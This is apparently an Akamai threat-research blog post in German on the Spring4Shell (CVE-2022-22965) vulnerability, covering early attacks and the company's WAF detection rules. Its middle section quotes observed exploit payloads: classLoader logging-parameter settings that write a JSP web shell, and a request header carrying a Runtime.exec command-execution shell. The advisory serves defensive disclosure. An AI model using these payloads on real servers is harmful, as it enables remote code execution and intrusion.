Sie sind an Cloud Computing interessiert? Legen Sie jetzt los

Dark background with blue code overlay

Blog

Abwehr des Spring Core „Spring4Shell“ Zero Day

Akamai Wave Blue

Verfasser

Akamai Threat Research Team

March 31, 2022

Übersicht

Am 30. März 2022 wurde die Sicherheits-Community im großen Umfang auf Schwachstellen im Zusammenhang mit Spring, dem beliebten Open-Source-Java-Framework, aufmerksam. Die Adaptive Security Engine von Akamai konnte Zero-Day-Angriffe auf diese Schwachstelle erkennen. Die Kunden von Akamai sind daher geschützt (weitere Informationen siehe unten).

Die zeitliche Abfolge der Offenlegung von Schwachstellen und andere Informationen aus informellen Berichten haben leider zu Verwirrung über das Geschehen geführt. Daher wollen wir Kunden und andere interessierte Beteiligte über die Situation auf den neuesten Stand bringen.

Es gibt zwei separate Schwachstellen im Zusammenhang mit Spring-Produkten:

  • CVE-2022-22963 war eine Schwachstelle in der Spring-Cloud-Funktion (serverlose Open-Source-Technologie), die am 24. März gepatcht wurde. Allgemeine Bedrohungen wurden öffentlich gemacht. (Hinweis: Wir haben einen separaten Blogbeitrag über diese Schwachstelle.)

  • Eine weitere Schwachstellen in Spring Core, genannt „Spring4Shell“, erhielt die Kennung CVE-2022-22965. Die Spring-Core-Schwachstelle wird als schwerwiegender eingestuft, da sie die Core-Bibliothek betrifft und daher jedes Spring-Projekt potenziell betroffen ist. Es wird jedoch darüber diskutiert, ob diese Schwachstelle ausgenutzt werden kann, da sie eine spezielle Konfiguration erfordert, vor deren Unsicherheit sogar Spring-Entwickler explizit warnen. Wir werden uns jetzt mit den Details dieser Schwachstelle befassen, um etwas Klarheit zu schaffen.

Am selben Tag, an dem der Exploit von Spring Core („Spring4Shell“) bekannt wurde (30. März), erkannten wir bereits Exploit-Versuche.

 

Quelle: Akamai Web Security Analytics von einem bestimmten Kunden Quelle: Akamai Web Security Analytics von einem bestimmten Kunden

 

Frühe Exploit-Versuche

Im Rahmen der ersten Exploit-Versuche versuchten Angreifer, eine Webshell (eine webbasierte Backdoor-Datei für die Fernsteuerung) zu implementieren, auf die sie später zugreifen und willkürliche Befehle auf dem Server ausführen konnten. Hierdurch könnten der Server oder das Zielnetzwerk ggf. mit anderer Malware infiziert werden.

Mit anderen Versuchen testeten Unternehmen sich selbst auf die Schwachstelle.

Hier sind einige Beispiele für die Angriffsnutzlasten, die wir gesehen haben:

 

Mehrere Exploit-Varianten

Es gibt mehrere Möglichkeiten, die Schwachstelle von Spring Core auszunutzen, aber in jeder der Varianten konfiguriert die Exploit-Anfrage die Protokollierungsparameter neu. Auf diese Weise legen Angreifer den Namen der Webshell-Seite, die Dateierweiterung und das Verzeichnis fest, in das sie geschrieben werden:

Class.Module.classloader.Resources.context.parent.Pipeline.first.pattern=%25%7Bf%7Di
Class.Module.Classloader.Resources.Context.Parent.Pipeline.First.Suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
Class.Module.classloader.Resources.context.Parent.Pipeline.first.prefix=aaa
Class.Module.classloader.Resources.context.parent.Pipeline.first.fileDateFormat=

Beachten Sie, dass der URL-dekodierte Dateiinhalt in dem Parameter „class...first.pattern %“ „{f}i“ ist.

Der Wert von „f“, der (mit %{}) bewertet wird, wird aus dem HTTP-Header namens „f“ übernommen.

 

GET /aaa  HTTP/1.1
Host: 127.0.0.1:8080
User Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

Der erste Proof-of-Concept-Exploit wurde von einem Forscher veröffentlicht, bevor es eine formelle Mitteilung von den Spring-Entwicklern gab. Und genau an diesem Punkt begann die Verwirrung. Der Forscher schaltete den Exploit sofort ab. Er war jedoch bereits veröffentlicht und auch im vx-Underground-Portal (Community von Sicherheitsforschern) verfügbar.

Dann erschien der Exploit erneut. Er begann als eine Variante und veränderte sich zu einer kompakteren Version. Der Hauptunterschied zwischen den Varianten besteht darin, ob die Anfälligkeitsparameter über POST-Parameter oder in einer GET-Anfrage über eine Abfragezeichenfolge festgelegt werden. Die zweite Veränderung bestand darin, die Anzahl der an den Server gesendeten Anfragen auf eine einzige zu reduzieren.

Die zweite Version des Exploits umfasst auch eine potenzielle WAF- oder Eingabefilterumgehung, während sie die vertraulichen Codemuster verschleiert, nach denen diese Sicherheitskontrollen normalerweise suchen, wie <% , %> und Runtime.getRuntime(). Der hochgeladene Webshell-Dateiinhalt enthält Platzhalter, die Spring durch den Inhalt der entsprechenden Header-Werte ersetzt. 

Daher wird %{suffix}i in the content of class...first.pattern durch %>// ersetzt, was dem Suffix-HTTP-Header-Wert entspricht.

Abwehr mit Adaptive Security Engine von Akamai

Alle Kunden von Akamai Kona Site Defender sind geschützt. Die Adaptive Security Engine von Akamai konnte diesen Zero-Day-Angriff auf Spring Core mit den vorhandenen Command-Injection-Regeln erkennen:

 

  • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

Andere Kona-Site-Defender-Regelsätze mindern diese Schwachstelle:

  • Automatisierte Angriffsgruppe: 

    • 1000005 - Command Injection

  • Kona Rule Set:

    • 3000023 - Apache Struts ClassLoader Manipulation Remote Code Execution

Zusammenfassung

Da sie leicht ausgenutzt werden kann, kann sich die Schwachstelle in Spring Core/„Spring4Shell“ potenziell auf viele Unternehmen auswirken. Dies wird voraussichtlich dazu führen, dass viele dieser Kriminellen Cryptomining-, DDoS- und Ransomware-Kampagnen starten und dies als Freifahrtschein nutzen werden, um in den kommenden Jahren in Unternehmen einzudringen. Akamai-Kunden werden jedoch durch die Adaptive Security Engine und Kona-Site-Defender-Regelsätze geschützt.

Das Team zur Bedrohungsforschung von Akamai überwacht die Ausnutzung dieser Schwachstelle und wird Updates liefern, sobald neue Varianten erscheinen.



Akamai Wave Blue

Verfasser

Akamai Threat Research Team

March 31, 2022